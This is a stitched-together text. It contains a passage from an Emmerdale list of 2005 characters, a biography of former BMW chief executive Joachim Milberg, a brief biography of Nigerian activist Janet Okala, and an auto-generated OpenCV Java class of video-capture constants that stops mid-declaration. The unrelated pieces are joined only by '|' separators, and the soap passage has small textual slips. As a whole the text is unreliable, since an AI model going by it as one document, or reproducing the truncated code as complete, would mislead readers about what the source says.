Several months later, when Paddy takes a life drawing class, he is shocked when Rita is the nude model. Paddy later takes Rita for a drink in the Woolpack and she gives her number but fails to write it down and it is smudged, so he is unable to call her. When they meet at the class, Rita accepts it and they plan a date. However, a prank from the Dingle family leaves Paddy stuck in the middle of nowhere at the mercy of a charging bull. Rita rescues Paddy and they finally go on a date, which is almost cut short when Marlon's cab nearly runs over Rita. Paddy is able to save her in the nick of time. Rita begins praising Paddy heavily for saving her life and wants her parents, Jeff and Sue to meet him. Paddy is further annoyed when the Brannigans continually praise him and he snaps, which causes Sue to run off crying. Jeff tells Paddy that Rita's sister, Sally had been killed eight months earlier in a hit-and-run accident. Paddy tries to apologise but Rita refuses to listen.
Paddy, attempting to win Rita back, poses as a life model in one of her art classes and is successful. When Hari Prasad (John Nayagam), Paddy's partner in the vet practice begins embezzling money from the company accounts, Rita notices it but thinks it is a mistake. After Hari is remanded in custody and business suffers, Rita talks to Jasmine Thomas (Jenna-Louise Coleman and asks her to print an article in The Hotten Courier to reassure people about the vets. However, things backfire when Jasmine's boss, John McNally edits the article to point out the fraud and implicates Paddy. Paddy is furious and his mood is not helped when Rita organises a surprise party for him in the Woolpack. Paddy and Rita then agree to take a break from each other.
Jo Stiles
Isla Forsythe
Isla Forsythe is the ex-wife of Adam Forsythe. She appeared in 2005 and 2006.
Isla first appears in 2005, to amicably end her marriage to Adam. In November 2006, she informs Adam’s father-in-law Alan Turner that he has committed suicide while in prison.
Effie Harrison
Effie Harrison is Jean Tate's live-in nanny. She appeared in 2005.
Effie is hired by Zoe Tate to live in Home Farm and look after her daughter Jean. Effie and Zoe become close, and Effie initially supports Zoe as she faces an attempted murder trial - after an altercation with Jean's father Scott Windsor - but their friendship splinters when Effie turns down Zoe's romantic advances and plea to run away with the kids. As Zoe becomes more erratic, Effie begins to doubt her innocence, and takes an offer from Sadie King to double-cross Zoe. Effie abruptly becomes lovers with Zoe and persuades her to revive the idea of leaving with the children. At the getaway spot, Effie and Jean are nowhere to be found, but Sadie is there, and she forces Zoe to sell her Home Farm. When Zoe returns home, Effie pleads with her to understand, but Zoe punches her. After Zoe evicts Effie, she asks Sadie for the £10,000 she was promised. Sadie instead throws a few pieces of change onto the street - "30 pieces of silver" - and tells Effie that Zoe is more of a woman than she'll ever be. Effie is left on her hands and knees, scrounging for change.
Rose Meyers
Rose Meyers is a temporary postmistress. She appeared in 2005.
Rose is a postmistress who covers for Viv Windsor at the Post Office during May and June 2005.
Sarah Sugden
Sarah Sugden first appears on 5 June 2005. Since her first appearance, Sarah has been played by numerous actresses; Lily-May Bartley, Lucy Warren, Amber Child-Cavill, Sophia Amber Moore, and currently Katie Hill, who took over the role in 2017. Her storylines in the soap have included her diagnosis of Fanconi anaemia, her subsequent health struggles following her diagnosis and becoming involved with drug dealer Danny Harrington (Louis Healy).
Kara Warren
Detective Inspector Kara Warren was a local police officer. She appeared in 2005.
When Scott Windsor is left comatose from Zoe Tate's multiple injections of ketamine, Warren eventually comes to the conclusion that injecting Scott is defending herself from attack but injecting him twice means Zoe planned to kill Scott. Zoe is put on trial.
After the case collapses, Warren offers to help Zoe if she wants to prosecute for attempted rape, but Zoe isn't interested.
Neil DePaul
Neil DePaul is a solicitor. He appeared in 2005.
When Zoe Tate is in legal trouble for nearly killing Scott Windsor, she assumes longtime family lawyer and friend Rachel Whatmore will represent her, but Rachel is out of the country. Neil DePaul is sent in her place. Neil does his best to defend Zoe, and his furious questioning of Scott Windsor during the trial leads Scott to admit he had planned to rape Zoe, which invalidated his previous story and helped lead to a dismissal of charges against Zoe.
Jasmine Thomas
Del Dingle
Jay Aswar
Jay Aswar is former fiance to Del Dingle. He appeared in 2005.
Del Dingle flees to the Dingle homestead while still in her wedding dress, but is short on answers as to why. A comment Del makes in jest leads Zak Dingle and Cain Dingle to assume he beat her, and when Jay shows up to try to talk to Del, she has to stop them from roughing him up. Del explains to Jay that while she does care about him, she doesn't want to settle down with anyone. They part on friendly terms, so much so that she gives his name to her employer Val Lambert when Val needs to sell fabrics.
Avril Kent
Avril Kent is a brief love interest of Bob Hope. She appeared in 2005.
Avril is a temporary love interest for Bob Hope after his divorce from Viv. Similar to Viv in many ways, Avril and Bob are happy for a while, but Bob and Viv soon get back together and remarry in 2006.
Sandra Briggs
Sandra Briggs is the wife of Craig Briggs. She first appeared on screen on 11 August 2005 and made her last appearance on screen on 26 February 2006. On 25 June 2005, it was announced that former Coronation Street actress Sally Ann Matthews would be joining Emmerdale as Sandra Briggs. A spokesperson said "Sally Ann will be joining us, and will begin filming shortly." Matthews said "I am thrilled to be asked to play the role of Sandra Briggs. I have been a huge fan of Emmerdale for many years now and I just can’t wait to begin filming." Series producer Kathleen Beedles revealed: "Her character Sandra will be caught in the crossfire as the Kings ruthlessly battle to secure the land they need for their housing development." In a later interview with Inside Soap, the show's executive producer, Kathleen Beedles, admitted casting Matthews, well-known to soap fans from Coronation Street, in what would essentially become a minor role was a mistake.
Sandra is married to Craig, a local farmer. When Tom King (Ken Farrington) wants to buy their land, he sends his son Max (Charlie Kemp), a vet, to kill their livestock. Sandra and Craig are furious with the Kings but are unable to tell the police for insurance reasons, so Max's boss Paddy Kirk (Dominic Brunt) takes the blame. Sandra needs more money so she gets a job at Eric Pollard (Christopher Chittell)'s factory as a machinist. She works with Val Lambert (Charlie Hardwick) and Delilah Dingle (Hayley Tamaddon).
Jimmy Pepper
Jimmy Pepper is a former partner of Val Pollard. He appeared in 2005. Jane Simon of the Daily Mirror described Jimmy as "having a face like a walrus" and "not a man to be crossed".
Val and Jimmy had a relationship in the 1970s and it was assumed that he was Paul Lambert (Matthew Bose) and Sharon Lambert's father. However, he and his sons beat Paul when he was growing up and was a terrible father but paid Val thousands in maintenance until, in 2005, he learns that he is not Paul's father and was annoyed to learn that he had paid maintenance for a child that was not his. Jimmy is further enraged to learn that Paul is gay and arrives to see Val and demands that she repay him $5000 or he will beat Paul up again. Val is then driven to steal money from the Woolpack. When Val gives Jimmy the money, she asks him to hit her, Jimmy initially refuses but she winds him up to the point where he punches her harder than she had expected. Jimmy then leaves with the takings and Val, sporting a black eye, invents a story that she was mugged on the way to the bank with the takings.
Delphine LaClair
Delphine LaClair is a sales representative. She first appeared in 2005.
When Rodney Blackstock plans to sell his vineyards to a French company, Delphine is their representative. Rodney assumes she will be a young woman, and plans a romantic pursuit, but is discomfited when they meet, as she is his age. She's interested in him but he demurs. A few weeks later, Delphine is supposed to return to finalize details, but instead, her associates, who do not speak English, arrive at the B&B and cause a great deal of confusion for Steph Stokes. Delphine herself returns the following year.
Aubrey Bedford
Aubrey Bedford is a realtor. He appeared in 2005 and 2015.
When Rodney Blackstock is trying to buy Home Farm, he decides to sell his house. Aubrey looks around the house, but is more interested in Rodney's son Paul Lambert. To get Aubrey away from Paul, Rodney agrees to flirt with Aubrey. Aubrey likes older men, so Rodney's attentions make him more invested in helping Rodney. Ultimately the sale does not go through because Rodney does not get Home Farm.
Ten years later, Aubrey returns to the village to discuss the sale of Diane Sugden's half of The Woolpack.
Sandy Thomas
Toni Daggert
Hari Prasad
Noreen Bell
Noreen Doreen Bell is a pensioner who befriends Val Lambert. She appeared from 2005 to 2006.
Noreen first appears as a cantankerous pensioner who irritates Val Lambert when the latter is doing community service in late 2005. Noreen lives on the far side of the village in Tall Trees Cottage, and wears a wig and fake eyebrows. Noreen later strikes up a mutual friendship with Val and Sandy Thomas.
Noreen dies on 13 July 2006 when she is having a look around the Kings' show home. She opens a cupboard door and is blasted by a gas explosion, catapulting her down the stairs and killing her instantly. In her will, she left her money to Val and her thimble collection to her second cousin Gilbert Duff.
Other characters
References
2005
, Emmerdale
|
Joachim Milberg (born 10 April 1943 in Verl (Westfalen)) is a German engineer and manager who served as CEO of Bayerischen Motorenwerke AG (BMW). He was Chairman of the Supervisory Board of BMW until July 2015.
Milberg was Professor and Dean of the Faculty of Mechanical Engineering at the Technische Universität München. He was Member of the Board of Management for Production of BMW and became CEO when Bernd Pischetsrieder had to leave because of the Rover problems. Milberg stopped the Rover venture and reestablished the BMW success story.
Milberg was the founding President of acatech – the German Academy of Science and Engineering.
Early life
Milberg grew up on a farm in Sennestadt, today part of the city of Bielefeld. From 1953 to 1959 Milberg went to secondary school. From 1959 to 1962 he trained as a mechanic at Gildemeister AG and, from 1962 to 1965, studied production engineering at the State Engineering School Bielefeld. He continued his studies at the Technische Universität Berlin with a scholarship of the Studienstiftung des deutschen Volkes and obtained his Dipl.-Ing. in 1969. From 1970 to 1972, he was research assistant at the Institut für Werkzeugmaschinen und Fertigungstechnik of the Technischen Universität Berlin (Günter Spur). In 1971, he was awarded his doctorate in production engineering.
Career
In 1972, Milberg became senior manager at the machine tool factory Gildemeister AG. From 1978 to 1981, he was head of the Automatic Lathe Division.
In 1981, Milberg became full professor for machine tools with business administration at Technische Universität München, head of the Center for Production Automation and Robotics in Munich and the Production Application Center in Augsburg. From 1991 to 1993, he was Dean of the Faculty of Mechanical Engineering.
In 1993, Milberg became member of the board of management of BMW, responsible for production. After having just overseen the successful launch of the BMW 3 Series, he was named by the supervisory board of BMW – then led by Eberhard von Kuenheim – as the company’s new CEO in 1999. He succeeded Bernd Pischetsrieder, who resigned along with Wolfgang Reitzle, another manager widely viewed as potential successor at the time. He was heavily criticized by the German media for BMW's decision to sell its unprofitable U.K. subsidiary Rover in 2000. In 2002, he decided to step down a year ahead of schedule and handed over to Helmut Panke, in an effort to avoid media speculation about who would succeed him in what would be the final year of his tenure at BMW. He subsequently became chairman of the supervisory board in 2004.
Other activities
Corporate boards
BMW AG, Chairman of the Supervisory Board (since 2002) since 2004 Chairman
Festo AG & Co. KG, Chairman of the Supervisory Board (since 2011)
Member of the shareholder's committee of ifp – Prof. Dr.-Ing. Joachim Milberg Institut für Produktion und Logistik GmbH & Co.KG, Garching b. München
ZF Friedrichshafen AG, Member of the Supervisory Board (2008–2011)
SAP AG, Member of the Supervisory Board (2007–2012)
Bertelsmann AG, Member of the Supervisory Board (2005–2017)
MAN AG, Member of the Supervisory Board (2005–2007)
John Deere & Company, Member of the Board of Directors (2003–2017)
Leipziger Messe, Member of the Supervisory Board (2003–2007)
Allianz Versicherungs AG, Member of the Supervisory Board (2001–2006)
Royal Dutch Petroleum Company/Shell, Member of the Board of Directors (2000–2003)
Non-profit organizations
acatech – Deutsche Akademie der Technikwissenschaften, Member of the Senate Committee
Allensbach Institute, Member of the Board of Trustees
BMW Foundation Herbert Quandt, Chairman of the Board of Trustees
Deutsches Museum, Member of the Board of Trustees
Lindau Nobel Laureate Meetings, Member of the Honorary Senate
Awards and honours
1989 Gottfried Wilhelm Leibniz Prize by the Deutschen Forschungsgemeinschaft (DFG) – the highest German research prize
1992 Herwart-Opitz-Commemorative Medal of the VDI-Society Production Engineering
1994 Verdienstkreuz am Bande (Cross) of the Order of Merit of the Federal Republic of Germany
1994 Honorary doctorate of the University of Ljubljana, Slovenia
1996 Honorary doctorate of Leibniz University Hannover
2000 Grashof Commemorative Medal of Verein Deutscher Ingenieure (the highest distinction of the Association of German Engineers)
2001 Bayerischer Verdienstorden
2001 General Pierre Nicolau Award der CIRP (College International pour la Recherche en Productique – The International Academy for Production Engineering)
2001 Ehrenpreis "Goldenes Lenkrad" des Axel Springer Verlags
2002 Honorary doctorate of the Cranfield University, England (UK)
2002 Bayerische Umweltmedaille für besondere Verdienste um Umweltschutz und Landesentwicklung
2004 Honorary doctorate of the Technischen Universität Berlin
2005 Arthur-Burkhardt-Preis
2005 Member of the German Academy of Sciences Leopoldina
2009 Hanns Martin Schleyer-Preis
2010 Bayerischer Maximiliansorden für Wissenschaft und Kunst
2010 Honorarprofessor at the Universität Duisburg-Essen
2016 National Academy of Engineering Member
Publications
Milberg, J.: Analytische und experimentelle Untersuchungen zur Stabilitätsgrenze bei der Drehbearbeitung. Diss. Techn. Univ. Berlin 1971.
Milberg, J. (Hrsg.): Wettbewerbsfähigkeit durch Integration. Springer Verlag. Berlin, Heidelberg New York 1988.
Milberg, J. (Hrsg.): Wettbewerbsfaktor Zeit in Produktionsunternehmen. Springer Verlag. Berlin, Heidelberg, New York 1991.
Milberg, J. (Hrsg.): Von CAD(CAM zu CIM. Verlag TÜV Rheinland. Köln 1992.
VDI-Gemeinschaftsausschuss CIM (Hrsg.) Obmann: Milberg, J.: Rechnerintegrierte Konstruktion und Produktion. VDI-Verlag. Düsseldorf 1992.
Band 1: CIM Management
Band 2: Integrierte Produktdatenverarbeitung
Band 3: Auftragsabwicklung
Band 4: Flexible Fertigung
Band 5: Produktionslogistik
Band 6: Kommunikations- und Datenbanktechnik
Band 7: Qualitätssicherung
Band 8: Flexible Montage
Milberg, J. (Hrsg.): Werkzeugmaschinen Grundlagen. Springer Verlag. Berlin, Heidelberg, New York 1992.
Milberg, J.; Reinhart, G. (Hrsg.): Unsere Stärken stärken – Der Weg zu Wettbewerbsfähigkeit und Standortsicherung. mi Verlag. Landberg 1994.
Milberg, J.; Reinhart, G. (Hrsg.): Mit Schwung zum Aufschwung – Information, Inspiration, Innovation. mi Verlag. Landberg 1997.
Milberg, J.; Schuh, G. (Hrsg.): Erfolg in Netzwerken. Springer Verlag. Berlin, Heidelberg, New York 2002.
References
External links
WHO'S WHO Online (German)
Munzinger (German)
ifp – Prof. Dr.-Ing. Joachim Milberg Institut für Produktion und Logistik GmbH & Co.KG
1943 births
Directors of BMW
Living people
Technical University of Munich alumni
Studienstiftung alumni
Academic staff of the Technical University of Munich
Businesspeople from Bielefeld
Chief executives in the automobile industry
BMW people
Gottfried Wilhelm Leibniz Prize winners
Recipients of the Cross of the Order of Merit of the Federal Republic of Germany
Members of the European Academy of Sciences and Arts
|
Janet Okala (1894–1971) was a Nigerian political leader and community organiser. She led protests during the Aba Women's War, and formed local and nationally-linked organisations to advocate for Nigerian women's political power.
Early life
Janet Okala was born in Onitsha in 1894 as the third child and first daughter of Odukwe Odili. She later became a resident of Owerrinta where she became known for her political activism. Her alias was "Mama Bread" as she also owned a bakery.
Political career and activism
In 1929, Okala led protesting women in the Owerrinta region during the Aba Women's War. According to historian Nina Emma Mba, Okala had previously provided leadership and counseling to local women but rose to particular prominence during the war.
In 1945, Okala formed the Enugu Women's Association and was elected one of its vice presidents. Following a 1949 visit from educator and campaigner Funmilayo Ransome Kuti (FRK), the group changed its name to the Enugu branch of the Nigerian Women's Union. In describing FRK's visit, Okala wrote that "Before that time women at Enugu had no right to probe into the affairs of their country. Mrs. Kuti on her arrival educated us." Local newspapers such as the West African Pilot and the Daily Times celebrated the group's name change as a symbol of nationalist solidarity among Nigerian women.
References
1894 births
1971 deaths
People from Onitsha
Nigerian women's rights activists
Nigerian suffragists
20th-century Nigerian women
|
```java
//
// This file is auto-generated. Please don't modify it!
//
package org.opencv.videoio;
public class Videoio {
public static final int
CV_CAP_MSMF = 1400,
CV_CAP_ANDROID = 1000,
CV_CAP_ANDROID_BACK = CV_CAP_ANDROID+99,
CV_CAP_ANDROID_FRONT = CV_CAP_ANDROID+98,
CV_CAP_XIAPI = 1100,
CV_CAP_AVFOUNDATION = 1200,
CV_CAP_GIGANETIX = 1300,
CV_CAP_GPHOTO2 = 1700,
CV_CAP_GSTREAMER = 1800,
CV_CAP_FFMPEG = 1900,
CV_CAP_IMAGES = 2000,
CV_CAP_ARAVIS = 2100,
CV_CAP_PROP_FRAME_WIDTH = 3,
CV_CAP_PROP_FRAME_HEIGHT = 4,
CV_CAP_PROP_ZOOM = 27,
CV_CAP_PROP_FOCUS = 28,
CV_CAP_PROP_GUID = 29,
CV_CAP_PROP_ISO_SPEED = 30,
CV_CAP_PROP_BACKLIGHT = 32,
CV_CAP_PROP_PAN = 33,
CV_CAP_PROP_TILT = 34,
CV_CAP_PROP_ROLL = 35,
CV_CAP_PROP_IRIS = 36,
CV_CAP_PROP_SETTINGS = 37,
CV_CAP_PROP_BUFFERSIZE = 38,
CV_CAP_PROP_AUTOFOCUS = 39,
CV_CAP_PROP_SAR_NUM = 40,
CV_CAP_PROP_SAR_DEN = 41,
CV_CAP_PROP_AUTOGRAB = 1024,
CV_CAP_PROP_PREVIEW_FORMAT = 1026,
CV_CAP_PROP_OPENNI2_SYNC = 110,
CV_CAP_PROP_OPENNI2_MIRROR = 111,
CV_CAP_PROP_PVAPI_FRAMESTARTTRIGGERMODE = 301,
CV_CAP_PROP_PVAPI_DECIMATIONHORIZONTAL = 302,
CV_CAP_PROP_PVAPI_DECIMATIONVERTICAL = 303,
CV_CAP_PROP_PVAPI_BINNINGX = 304,
CV_CAP_PROP_PVAPI_BINNINGY = 305,
CV_CAP_PROP_PVAPI_PIXELFORMAT = 306,
CV_CAP_PROP_XI_DOWNSAMPLING = 400,
CV_CAP_PROP_XI_DATA_FORMAT = 401,
CV_CAP_PROP_XI_OFFSET_X = 402,
CV_CAP_PROP_XI_OFFSET_Y = 403,
CV_CAP_PROP_XI_TRG_SOURCE = 404,
CV_CAP_PROP_XI_TRG_SOFTWARE = 405,
CV_CAP_PROP_XI_GPI_SELECTOR = 406,
CV_CAP_PROP_XI_GPI_MODE = 407,
CV_CAP_PROP_XI_GPI_LEVEL = 408,
CV_CAP_PROP_XI_GPO_SELECTOR = 409,
CV_CAP_PROP_XI_GPO_MODE = 410,
CV_CAP_PROP_XI_LED_SELECTOR = 411,
CV_CAP_PROP_XI_LED_MODE = 412,
CV_CAP_PROP_XI_MANUAL_WB = 413,
CV_CAP_PROP_XI_AUTO_WB = 414,
CV_CAP_PROP_XI_AEAG = 415,
CV_CAP_PROP_XI_EXP_PRIORITY = 416,
CV_CAP_PROP_XI_AE_MAX_LIMIT = 417,
CV_CAP_PROP_XI_AG_MAX_LIMIT = 418,
CV_CAP_PROP_XI_AEAG_LEVEL = 419,
CV_CAP_PROP_XI_TIMEOUT = 420,
CV_CAP_PROP_XI_EXPOSURE = 421,
CV_CAP_PROP_XI_EXPOSURE_BURST_COUNT = 422,
CV_CAP_PROP_XI_GAIN_SELECTOR = 423,
CV_CAP_PROP_XI_GAIN = 424,
CV_CAP_PROP_XI_DOWNSAMPLING_TYPE = 426,
CV_CAP_PROP_XI_BINNING_SELECTOR = 427,
CV_CAP_PROP_XI_BINNING_VERTICAL = 428,
CV_CAP_PROP_XI_BINNING_HORIZONTAL = 429,
CV_CAP_PROP_XI_BINNING_PATTERN = 430,
CV_CAP_PROP_XI_DECIMATION_SELECTOR = 431,
CV_CAP_PROP_XI_DECIMATION_VERTICAL = 432,
CV_CAP_PROP_XI_DECIMATION_HORIZONTAL = 433,
CV_CAP_PROP_XI_DECIMATION_PATTERN = 434,
CV_CAP_PROP_XI_TEST_PATTERN_GENERATOR_SELECTOR = 587,
CV_CAP_PROP_XI_TEST_PATTERN = 588,
CV_CAP_PROP_XI_IMAGE_DATA_FORMAT = 435,
CV_CAP_PROP_XI_SHUTTER_TYPE = 436,
CV_CAP_PROP_XI_SENSOR_TAPS = 437,
CV_CAP_PROP_XI_AEAG_ROI_OFFSET_X = 439,
CV_CAP_PROP_XI_AEAG_ROI_OFFSET_Y = 440,
CV_CAP_PROP_XI_AEAG_ROI_WIDTH = 441,
CV_CAP_PROP_XI_AEAG_ROI_HEIGHT = 442,
CV_CAP_PROP_XI_BPC = 445,
CV_CAP_PROP_XI_WB_KR = 448,
CV_CAP_PROP_XI_WB_KG = 449,
CV_CAP_PROP_XI_WB_KB = 450,
CV_CAP_PROP_XI_WIDTH = 451,
CV_CAP_PROP_XI_HEIGHT = 452,
CV_CAP_PROP_XI_REGION_SELECTOR = 589,
CV_CAP_PROP_XI_REGION_MODE = 595,
CV_CAP_PROP_XI_LIMIT_BANDWIDTH = 459,
CV_CAP_PROP_XI_SENSOR_DATA_BIT_DEPTH = 460,
CV_CAP_PROP_XI_OUTPUT_DATA_BIT_DEPTH = 461,
CV_CAP_PROP_XI_IMAGE_DATA_BIT_DEPTH = 462,
CV_CAP_PROP_XI_OUTPUT_DATA_PACKING = 463,
CV_CAP_PROP_XI_OUTPUT_DATA_PACKING_TYPE = 464,
CV_CAP_PROP_XI_IS_COOLED = 465,
CV_CAP_PROP_XI_COOLING = 466,
CV_CAP_PROP_XI_TARGET_TEMP = 467,
CV_CAP_PROP_XI_CHIP_TEMP = 468,
CV_CAP_PROP_XI_HOUS_TEMP = 469,
CV_CAP_PROP_XI_HOUS_BACK_SIDE_TEMP = 590,
CV_CAP_PROP_XI_SENSOR_BOARD_TEMP = 596,
CV_CAP_PROP_XI_CMS = 470,
CV_CAP_PROP_XI_APPLY_CMS = 471,
CV_CAP_PROP_XI_IMAGE_IS_COLOR = 474,
CV_CAP_PROP_XI_COLOR_FILTER_ARRAY = 475,
CV_CAP_PROP_XI_GAMMAY = 476,
CV_CAP_PROP_XI_GAMMAC = 477,
CV_CAP_PROP_XI_SHARPNESS = 478,
CV_CAP_PROP_XI_CC_MATRIX_00 = 479,
CV_CAP_PROP_XI_CC_MATRIX_01 = 480,
CV_CAP_PROP_XI_CC_MATRIX_02 = 481,
CV_CAP_PROP_XI_CC_MATRIX_03 = 482,
CV_CAP_PROP_XI_CC_MATRIX_10 = 483,
CV_CAP_PROP_XI_CC_MATRIX_11 = 484,
CV_CAP_PROP_XI_CC_MATRIX_12 = 485,
CV_CAP_PROP_XI_CC_MATRIX_13 = 486,
CV_CAP_PROP_XI_CC_MATRIX_20 = 487,
CV_CAP_PROP_XI_CC_MATRIX_21 = 488,
CV_CAP_PROP_XI_CC_MATRIX_22 = 489,
CV_CAP_PROP_XI_CC_MATRIX_23 = 490,
CV_CAP_PROP_XI_CC_MATRIX_30 = 491,
CV_CAP_PROP_XI_CC_MATRIX_31 = 492,
CV_CAP_PROP_XI_CC_MATRIX_32 = 493,
CV_CAP_PROP_XI_CC_MATRIX_33 = 494,
CV_CAP_PROP_XI_DEFAULT_CC_MATRIX = 495,
CV_CAP_PROP_XI_TRG_SELECTOR = 498,
CV_CAP_PROP_XI_ACQ_FRAME_BURST_COUNT = 499,
CV_CAP_PROP_XI_DEBOUNCE_EN = 507,
CV_CAP_PROP_XI_DEBOUNCE_T0 = 508,
CV_CAP_PROP_XI_DEBOUNCE_T1 = 509,
CV_CAP_PROP_XI_DEBOUNCE_POL = 510,
CV_CAP_PROP_XI_LENS_MODE = 511,
CV_CAP_PROP_XI_LENS_APERTURE_VALUE = 512,
CV_CAP_PROP_XI_LENS_FOCUS_MOVEMENT_VALUE = 513,
CV_CAP_PROP_XI_LENS_FOCUS_MOVE = 514,
CV_CAP_PROP_XI_LENS_FOCUS_DISTANCE = 515,
CV_CAP_PROP_XI_LENS_FOCAL_LENGTH = 516,
CV_CAP_PROP_XI_LENS_FEATURE_SELECTOR = 517,
CV_CAP_PROP_XI_LENS_FEATURE = 518,
CV_CAP_PROP_XI_DEVICE_MODEL_ID = 521,
CV_CAP_PROP_XI_DEVICE_SN = 522,
CV_CAP_PROP_XI_IMAGE_DATA_FORMAT_RGB32_ALPHA = 529,
CV_CAP_PROP_XI_IMAGE_PAYLOAD_SIZE = 530,
CV_CAP_PROP_XI_TRANSPORT_PIXEL_FORMAT = 531,
CV_CAP_PROP_XI_SENSOR_CLOCK_FREQ_HZ = 532,
CV_CAP_PROP_XI_SENSOR_CLOCK_FREQ_INDEX = 533,
CV_CAP_PROP_XI_SENSOR_OUTPUT_CHANNEL_COUNT = 534,
CV_CAP_PROP_XI_FRAMERATE = 535,
CV_CAP_PROP_XI_COUNTER_SELECTOR = 536,
CV_CAP_PROP_XI_COUNTER_VALUE = 537,
CV_CAP_PROP_XI_ACQ_TIMING_MODE = 538,
CV_CAP_PROP_XI_AVAILABLE_BANDWIDTH = 539,
CV_CAP_PROP_XI_BUFFER_POLICY = 540,
CV_CAP_PROP_XI_LUT_EN = 541,
CV_CAP_PROP_XI_LUT_INDEX = 542,
CV_CAP_PROP_XI_LUT_VALUE = 543,
CV_CAP_PROP_XI_TRG_DELAY = 544,
CV_CAP_PROP_XI_TS_RST_MODE = 545,
CV_CAP_PROP_XI_TS_RST_SOURCE = 546,
CV_CAP_PROP_XI_IS_DEVICE_EXIST = 547,
CV_CAP_PROP_XI_ACQ_BUFFER_SIZE = 548,
CV_CAP_PROP_XI_ACQ_BUFFER_SIZE_UNIT = 549,
CV_CAP_PROP_XI_ACQ_TRANSPORT_BUFFER_SIZE = 550,
CV_CAP_PROP_XI_BUFFERS_QUEUE_SIZE = 551,
CV_CAP_PROP_XI_ACQ_TRANSPORT_BUFFER_COMMIT = 552,
CV_CAP_PROP_XI_RECENT_FRAME = 553,
CV_CAP_PROP_XI_DEVICE_RESET = 554,
CV_CAP_PROP_XI_COLUMN_FPN_CORRECTION = 555,
CV_CAP_PROP_XI_ROW_FPN_CORRECTION = 591,
CV_CAP_PROP_XI_SENSOR_MODE = 558,
CV_CAP_PROP_XI_HDR = 559,
CV_CAP_PROP_XI_HDR_KNEEPOINT_COUNT = 560,
CV_CAP_PROP_XI_HDR_T1 = 561,
CV_CAP_PROP_XI_HDR_T2 = 562,
CV_CAP_PROP_XI_KNEEPOINT1 = 563,
CV_CAP_PROP_XI_KNEEPOINT2 = 564,
CV_CAP_PROP_XI_IMAGE_BLACK_LEVEL = 565,
CV_CAP_PROP_XI_HW_REVISION = 571,
CV_CAP_PROP_XI_DEBUG_LEVEL = 572,
CV_CAP_PROP_XI_AUTO_BANDWIDTH_CALCULATION = 573,
CV_CAP_PROP_XI_FFS_FILE_ID = 594,
CV_CAP_PROP_XI_FFS_FILE_SIZE = 580,
CV_CAP_PROP_XI_FREE_FFS_SIZE = 581,
CV_CAP_PROP_XI_USED_FFS_SIZE = 582,
CV_CAP_PROP_XI_FFS_ACCESS_KEY = 583,
CV_CAP_PROP_XI_SENSOR_FEATURE_SELECTOR = 585,
CV_CAP_PROP_XI_SENSOR_FEATURE_VALUE = 586,
CV_CAP_PROP_ANDROID_FLASH_MODE = 8001,
CV_CAP_PROP_ANDROID_FOCUS_MODE = 8002,
CV_CAP_PROP_ANDROID_WHITE_BALANCE = 8003,
CV_CAP_PROP_ANDROID_ANTIBANDING = 8004,
CV_CAP_PROP_ANDROID_FOCAL_LENGTH = 8005,
CV_CAP_PROP_ANDROID_FOCUS_DISTANCE_NEAR = 8006,
CV_CAP_PROP_ANDROID_FOCUS_DISTANCE_OPTIMAL = 8007,
CV_CAP_PROP_ANDROID_FOCUS_DISTANCE_FAR = 8008,
CV_CAP_PROP_ANDROID_EXPOSE_LOCK = 8009,
CV_CAP_PROP_ANDROID_WHITEBALANCE_LOCK = 8010,
CV_CAP_PROP_IOS_DEVICE_FOCUS = 9001,
CV_CAP_PROP_IOS_DEVICE_EXPOSURE = 9002,
CV_CAP_PROP_IOS_DEVICE_FLASH = 9003,
CV_CAP_PROP_IOS_DEVICE_WHITEBALANCE = 9004,
CV_CAP_PROP_IOS_DEVICE_TORCH = 9005,
CV_CAP_PROP_GIGA_FRAME_OFFSET_X = 10001,
CV_CAP_PROP_GIGA_FRAME_OFFSET_Y = 10002,
CV_CAP_PROP_GIGA_FRAME_WIDTH_MAX = 10003,
CV_CAP_PROP_GIGA_FRAME_HEIGH_MAX = 10004,
CV_CAP_PROP_GIGA_FRAME_SENS_WIDTH = 10005,
CV_CAP_PROP_GIGA_FRAME_SENS_HEIGH = 10006,
CV_CAP_PROP_INTELPERC_PROFILE_COUNT = 11001,
CV_CAP_PROP_INTELPERC_PROFILE_IDX = 11002,
CV_CAP_PROP_INTELPERC_DEPTH_LOW_CONFIDENCE_VALUE = 11003,
CV_CAP_PROP_INTELPERC_DEPTH_SATURATION_VALUE = 11004,
CV_CAP_PROP_INTELPERC_DEPTH_CONFIDENCE_THRESHOLD = 11005,
CV_CAP_PROP_INTELPERC_DEPTH_FOCAL_LENGTH_HORZ = 11006,
CV_CAP_PROP_INTELPERC_DEPTH_FOCAL_LENGTH_VERT = 11007,
CV_CAP_MODE_BGR = 0,
CV_CAP_MODE_RGB = 1,
CV_CAP_MODE_GRAY = 2,
CV_CAP_MODE_YUYV = 3,
CV_CAP_PROP_GPHOTO2_PREVIEW = 17001,
CV_CAP_PROP_GPHOTO2_WIDGET_ENUMERATE = 17002,
CV_CAP_PROP_GPHOTO2_RELOAD_CONFIG = 17003,
CV_CAP_PROP_GPHOTO2_RELOAD_ON_CHANGE = 17004,
CV_CAP_PROP_GPHOTO2_COLLECT_MSGS = 17005,
CV_CAP_PROP_GPHOTO2_FLUSH_MSGS = 17006,
CV_CAP_PROP_SPEED = 17007,
CV_CAP_PROP_APERTURE = 17008,
CV_CAP_PROP_VIEWFINDER = 17010,
CAP_ANY = 0,
CAP_VFW = 200,
CAP_V4L = 200,
CAP_V4L2 = CAP_V4L,
CAP_FIREWIRE = 300,
CAP_FIREWARE = CAP_FIREWIRE,
CAP_IEEE1394 = CAP_FIREWIRE,
CAP_DC1394 = CAP_FIREWIRE,
CAP_CMU1394 = CAP_FIREWIRE,
CAP_QT = 500,
CAP_UNICAP = 600,
CAP_DSHOW = 700,
CAP_PVAPI = 800,
CAP_OPENNI = 900,
CAP_OPENNI_ASUS = 910,
CAP_ANDROID = 1000,
CAP_XIAPI = 1100,
CAP_AVFOUNDATION = 1200,
CAP_GIGANETIX = 1300,
CAP_MSMF = 1400,
CAP_WINRT = 1410,
CAP_INTELPERC = 1500,
CAP_OPENNI2 = 1600,
CAP_OPENNI2_ASUS = 1610,
CAP_GPHOTO2 = 1700,
CAP_GSTREAMER = 1800,
CAP_FFMPEG = 1900,
CAP_IMAGES = 2000,
CAP_ARAVIS = 2100,
CAP_PROP_POS_MSEC = 0,
CAP_PROP_POS_FRAMES = 1,
CAP_PROP_POS_AVI_RATIO = 2,
CAP_PROP_FRAME_WIDTH = 3,
CAP_PROP_FRAME_HEIGHT = 4,
CAP_PROP_FPS = 5,
CAP_PROP_FOURCC = 6,
